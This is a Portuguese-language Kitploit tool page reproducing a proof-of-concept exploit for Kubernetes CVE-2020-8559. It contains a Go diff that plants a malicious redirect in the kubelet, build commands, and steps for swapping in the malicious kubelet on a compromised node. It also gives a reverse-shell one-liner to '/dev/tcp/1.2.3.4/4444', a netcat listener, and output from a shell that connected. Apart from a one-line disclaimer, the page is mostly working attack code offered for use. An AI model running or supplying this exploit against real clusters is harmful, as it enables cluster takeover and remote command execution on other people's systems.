Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2020-8559 — Este é um exploit de PoC para a vulnerabilidade CVE-2020-8559 do Kubernetes. | Kitploit
Ferramentas/GitHubGitHub/tdwyer/cve-2020-8559
Escalada de PrivilégiosSegurança de ContêineresAnálise de VulnerabilidadesExploraçãoMovimento LateralPós-ExploraçãoTestes de PenetraçãoSegurança na Nuvem
GitHubtdwyer/cve-2020-8559

CVE-2020-8559

Este é um exploit de PoC para a vulnerabilidade CVE-2020-8559 do Kubernetes.

Ver Repositório
54142há 6 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Kubernetes CVE-2020-8559 Exploit de Prova de Conceito PoC

Isto é apenas para fins de demonstração. Utilize apenas em sistemas nos quais você está autorizado a executar ações administrativas e autorizado a explorar o CVE-2020-8559

Este é um PoC para o CVE-2020-8559. Esta vulnerabilidade permite que um atacante que tenha obtido root em um Node execute comandos em qualquer outro Container no cluster, permitindo que o atacante assuma o controle do Kubernetes Master Node.

Essa vulnerabilidade se deve ao fato de que o Kubernetes API Server e o comando kubectl seguem redirecionamentos HTTP, combinado ao fato de que a API do Kubernetes coloca todos os componentes de uma requisição de API na URL, ou seja, nome do Node, nome do Pod, nome do Container e até mesmo o comando. Portanto, se o processo Kubelet responder a /exec, /attach, /portforward ou a qualquer ação resource: proxy com um redirecionamento HTTP 302 com um cabeçalho Location que diga para executar um comando diferente em um Node diferente em um Container diferente, o Kubernetes API Server ou o comando kubectl fará de bom grado uma nova requisição para o que estiver no cabeçalho Location.

Repositório Kubernetes com meu Código PoC

Você pode baixar minha versão forkada do Kubernetes e mudar para o meu branch para compilar o binário kubelet do exploit.
Este branch é baseado na tag v1.15.9.

root@kitploit:~
git clone -b CVE-2020-8559 --single-branch [email protected]:tdwyer/kubernetes.git

Git diff

root@kitploit:~
diff --git a/pkg/kubelet/server/server.go b/pkg/kubelet/server/server.go
index c1f1975fe43..8459802755e 100644
--- a/pkg/kubelet/server/server.go
+++ b/pkg/kubelet/server/server.go
@@ -867,6 +867,28 @@ func (s *Server) ServeHTTP(w http.ResponseWriter, req *http.Request) {

        method, path := req.Method, trimURLPath(req.URL.Path)

+       ////
+       ////
+       // If path is vulnerable to CVE-2020-8559 send 302 redirect with malicious Location header
+       ////
+       ////
+       protocol := "https"
+       // If attacking requests from admins using the kubectl command
+       //     host == hostname of the Kubernetes API server obtained from `kubectl -v 8 get pods`
+       // If attacing the Kubernetes API Server
+       //     host == hostname of the Node the Victim container is running on
+       host := "internal-api-123456-123456789.us-west-2.elb.amazonaws.com"
+       namespace := "kube-system"
+       pod := "kcd-7cfbb97c64-p4kf2"
+       container := "kcd"
+       command := "hostname"
+       if strings.Contains(req.URL.Path, "/exec") || strings.Contains(req.URL.Path, "/attach") || strings.Contains(req.URL.Path, "/portforward") {
+               fmt.Println("--------------------------------------------------------------")
+               fmt.Println("Sending Redirect")
+               fmt.Println("--------------------------------------------------------------")
+               http.Redirect(w, req, protocol+"://"+host+"/api/v1/namespaces/"+namespace+"/pods/"+pod+"/exec?command="+command+"&container="+container+"&stderr=true&stdout=true", 302)
+       }
+
        longRunning := strconv.FormatBool(isLongRunningRequest(path))

        servermetrics.HTTPRequests.WithLabelValues(method, path, serverType, longRunning).Inc()

Configuração

Este PoC apenas enviará um redirecionamento HTTP 302 com um cabeçalho Location fixo no código, então você precisará editar kubernetes/pkg/kubelet/server/server.go e atualizar host, namespace, pod, container e command

ProTip: Liste todos os Pods no cluster. Em seguida, configure-o para executar comandos em um Pod que esteja rodando no Kubernetes Master Node, a fim de iniciar um shell reverso de volta para você e assumir o controle do cluster.

Compilação

Após configurar o ataque, compile um binário kubelet malicioso

root@kitploit:~
cd ~/go/src/k8s.io/kubernetes
GO111MODULE=on go mod download
cd ~/go/src/k8s.io/kubernetes/cmd/kubelet
go build

Ataque

  1. Obtenha root em um Node
  2. Copie o binário kubelet malicioso para o Node
  3. Pare o processo kubelet e sobrescreva o binário com o binário malicioso.
    Encontre o PID do processo kubelet:
    ps aux |grep kubelet
    Mate o processo kubelet e copie o binário malicioso para o lugar:
    sudo kill $PID ; sudo cp kubelet /usr/local/bin/kubelet
  4. Mate o processo kubelet novamente para que ele reinicie com o binário malicioso.
    Encontre o PID do processo kubelet:
    ps aux |grep kubelet
    Mate o processo kubelet:
    sudo kill $PID
  5. Se configurado para atacar um administrador que usa o comando kubectl em sua estação de trabalho local, esse comando deve retornar o hostname do Container Vítima em vez do container no qual deveria ter sido executado
root@kitploit:~
[0038][tdwyer@tdwyer-nuc:~/CVE-2020-8559]$ kubectl exec attacker-5cf89b94db-xdbfm -- date
kcd-7cfbb97c64-p4kf2

Você também pode iniciar um shell reverso de volta para você a partir de qualquer Container com

  1. Inicie o netcat escutando na sua estação de trabalho
    nc -lv 4444
  2. Use este comando em vez disso, no entanto você precisará codificá-lo. Atualizarei a maneira exata depois que eu descobrir.
    /bin/sh -i >& /dev/tcp/1.2.3.4/4444 0>&1

Sucesso :D

root@kitploit:~
[1617][tdwyer@tdwyer-nuc:~]$ nc -lvk 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 9.8.7.6.in-addr.arpa 46828 received!
bash-5.0#
Baixar ferramenta